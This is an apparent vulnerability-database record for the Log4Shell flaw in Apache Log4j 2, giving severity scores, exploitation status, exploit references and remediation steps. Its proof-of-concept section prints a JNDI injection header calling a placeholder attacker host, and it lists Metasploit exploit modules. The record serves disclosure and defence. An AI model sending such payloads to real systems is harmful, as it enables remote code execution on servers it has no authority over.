{"id":"CVE-2021-44228","title":"Log4Shell: JNDI RCE in Apache Log4j 2","summary":"Log4j 2 evaluates ${jndi:...} lookups in logged strings, allowing an attacker who controls any logged value to load and execute remote code via LDAP/RMI. Trivial to exploit, ubiquitous, and mass-exploited within hours of disclosure.","severity":"critical","cvss":10,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-502","vendor":"Apache","product":"Log4j 2","platforms":["Java"],"affected":[">=2.0-beta9 <2.15.0"],"patched":["2.17.1"],"exploited":true,"zeroDay":true,"epss":0.99999,"epssPercentile":1,"kev":true,"kevDateAdded":"2021-12-10","kevDueDate":"2021-12-24","kevRansomware":true,"source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2021-44228","references":[{"url":"https://logging.apache.org/log4j/2.x/security.html","label":"Apache Log4j security page"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-44228","label":"NVD"}],"tags":["log4j","rce","jndi","in-the-wild","java","kev","exploit-available"],"exploitAvailable":true,"exploits":{"exploitdb":true,"github":452,"githubRepos":["https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce","https://github.com/Glease/Healer","https://github.com/jacobtread/L4J-Vuln-Patch"],"metasploit":["auxiliary/scanner/http/log4shell_scanner","exploit/linux/http/mobileiron_core_log4shell","exploit/multi/http/log4shell_header_injection","exploit/multi/http/ubiquiti_unifi_log4shell","exploit/multi/http/vmware_vcenter_log4shell"],"nuclei":["CVE-2021-44228"],"checkedAt":"2026-09-21T15:23:22.254Z"},"slug":"CVE-2021-44228","body":"## Overview\n\nApache Log4j 2 supports message lookups, including a `${jndi:...}` form. When an\nattacker-controlled string containing `${jndi:ldap://attacker/x}` is logged, Log4j\nresolves the JNDI reference, fetches a remote class, and executes it — full\n**unauthenticated remote code execution**.\n\nBecause applications routinely log untrusted input (User-Agent, headers, form fields,\nusernames), the attack surface is enormous.\n\n## Proof of concept\n\n```text\nUser-Agent: ${jndi:ldap://attacker.example/a}\n```\n\nAny code path that logs the header triggers the lookup.\n\n## Affected versions\n\nAll `2.0-beta9` through `2.14.1`. The complete fix is **2.17.1** (earlier 2.15/2.16\npatches were incomplete — see CVE-2021-45046, CVE-2021-45105).\n\n## Remediation\n\n1. Upgrade Log4j to **2.17.1+**.\n2. If you cannot upgrade: remove the `JndiLookup` class —\n   `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class`.\n3. Block outbound LDAP/RMI from app servers as defense in depth.\n4. Hunt logs for `jndi:` strings and unexpected outbound LDAP connections.\n\n## References\n\n- Apache Log4j security: <https://logging.apache.org/log4j/2.x/security.html>\n- NVD: <https://nvd.nist.gov/vuln/detail/CVE-2021-44228>","depth":"hadal","depthScore":100,"depthScoreParts":{"impact":55,"likelihood":20,"exploitation":25,"ransomware":5},"changes":[]}